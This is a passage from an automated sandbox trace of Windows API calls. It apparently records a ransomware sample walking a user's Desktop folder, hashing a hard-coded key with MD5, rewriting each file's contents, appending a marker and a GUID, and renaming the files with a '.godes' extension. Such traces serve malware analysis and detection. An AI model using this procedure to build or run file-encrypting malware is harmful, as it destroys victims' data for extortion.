hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.765] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.766] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2326f840, ftCreationTime.dwHighDateTime=0x1d4c74e, ftLastAccessTime.dwLowDateTime=0x2bcf9a50, ftLastAccessTime.dwHighDateTime=0x1d4c5e7, ftLastWriteTime.dwLowDateTime=0x2bcf9a50, ftLastWriteTime.dwHighDateTime=0x1d4c5e7, nFileSizeHigh=0x0, nFileSizeLow=0x12371, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tAm2MqanHQ.mp4", cAlternateFileName="TAM2MQ~1.MP4")) returned 1 [0113.766] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.766] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.766] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\tAm2MqanHQ.mp4") returned=".mp4" [0113.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\tAm2MqanHQ.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\tam2mqanhq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.766] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=74609) returned 1 [0113.766] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.768] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1234b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.768] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.770] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.770] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.770] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x12371, lpOverlapped=0x0) returned 1 [0113.771] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.771] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.771] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.771] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.771] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.771] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.771] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.771] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.771] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.772] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.772] GetLastError () returned 0x0 [0113.772] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.772] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.772] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12370) returned 0x3321120 [0113.772] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.772] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x1236c, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1236c, lpOverlapped=0x0) returned 1 [0113.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.772] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12371, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.772] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.772] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.773] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.773] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.773] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.773] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.773] CloseHandle (hObject=0x624) returned 1 [0113.774] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.774] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0113.774] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.774] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\tAm2MqanHQ.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\tam2mqanhq.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\tAm2MqanHQ.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\tam2mqanhq.mp4.godes")) returned 1 [0113.774] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.774] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.775] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2400e50, ftCreationTime.dwHighDateTime=0x1d4c64f, ftLastAccessTime.dwLowDateTime=0xb2a6a760, ftLastAccessTime.dwHighDateTime=0x1d4ced1, ftLastWriteTime.dwLowDateTime=0xb2a6a760, ftLastWriteTime.dwHighDateTime=0x1d4ced1, nFileSizeHigh=0x0, nFileSizeLow=0x8df5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UFvFkY3N9hbJPN MXkkx.wav", cAlternateFileName="UFVFKY~1.WAV")) returned 1 [0113.775] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.775] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.776] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\UFvFkY3N9hbJPN MXkkx.wav") returned=".wav" [0113.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\UFvFkY3N9hbJPN MXkkx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\ufvfky3n9hbjpn mxkkx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.776] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=36341) returned 1 [0113.776] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.778] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8dcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.778] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.779] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.779] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.779] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.779] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x8df5, lpOverlapped=0x0) returned 1 [0113.780] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.780] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.780] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.780] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.780] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.781] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.781] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.781] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.781] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.781] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.781] GetLastError () returned 0x0 [0113.781] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.781] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.781] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.781] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e00) returned 0x3321120 [0113.781] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.781] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.781] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x8df0, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x8df0, lpOverlapped=0x0) returned 1 [0113.781] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.781] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8df5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.781] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.781] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.782] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.782] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.782] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.782] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.782] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.782] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.782] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.782] CloseHandle (hObject=0x624) returned 1 [0113.783] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0113.783] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.783] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0113.783] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\UFvFkY3N9hbJPN MXkkx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\ufvfky3n9hbjpn mxkkx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\UFvFkY3N9hbJPN MXkkx.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\ufvfky3n9hbjpn mxkkx.wav.godes")) returned 1 [0113.783] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.783] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.784] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.784] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7a72310, ftCreationTime.dwHighDateTime=0x1d4c806, ftLastAccessTime.dwLowDateTime=0x17932020, ftLastAccessTime.dwHighDateTime=0x1d4cfe7, ftLastWriteTime.dwLowDateTime=0x17932020, ftLastWriteTime.dwHighDateTime=0x1d4cfe7, nFileSizeHigh=0x0, nFileSizeLow=0xba41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wYQXyL4TNJyXDwt.xls", cAlternateFileName="WYQXYL~1.XLS")) returned 1 [0113.784] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.784] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.784] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.784] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\wYQXyL4TNJyXDwt.xls") returned=".xls" [0113.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\wYQXyL4TNJyXDwt.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\wyqxyl4tnjyxdwt.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.785] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=47681) returned 1 [0113.785] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.786] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xba1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.786] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.788] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.788] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.788] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.788] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xba41, lpOverlapped=0x0) returned 1 [0113.789] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.789] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.789] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.789] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.789] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.789] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.789] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.789] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.790] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.790] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.790] GetLastError () returned 0x0 [0113.790] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.790] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.790] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xba40) returned 0x3321120 [0113.790] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.790] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xba3c, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xba3c, lpOverlapped=0x0) returned 1 [0113.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.790] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xba41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.790] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.790] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.790] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.791] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.791] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.791] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.791] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.791] CloseHandle (hObject=0x624) returned 1 [0113.792] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.792] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.792] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.792] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\wYQXyL4TNJyXDwt.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\wyqxyl4tnjyxdwt.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\wYQXyL4TNJyXDwt.xls.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\wyqxyl4tnjyxdwt.xls.godes")) returned 1 [0113.792] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.792] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.793] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.793] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x223e2c40, ftCreationTime.dwHighDateTime=0x1d4d5af, ftLastAccessTime.dwLowDateTime=0x5dae5d70, ftLastAccessTime.dwHighDateTime=0x1d4cbe3, ftLastWriteTime.dwLowDateTime=0x5dae5d70, ftLastWriteTime.dwHighDateTime=0x1d4cbe3, nFileSizeHigh=0x0, nFileSizeLow=0xed62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XECTs3JItZ.pps", cAlternateFileName="XECTS3~1.PPS")) returned 1 [0113.793] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.793] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.793] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.793] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\XECTs3JItZ.pps") returned=".pps" [0113.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\XECTs3JItZ.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\xects3jitz.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.795] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=60770) returned 1 [0113.795] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, 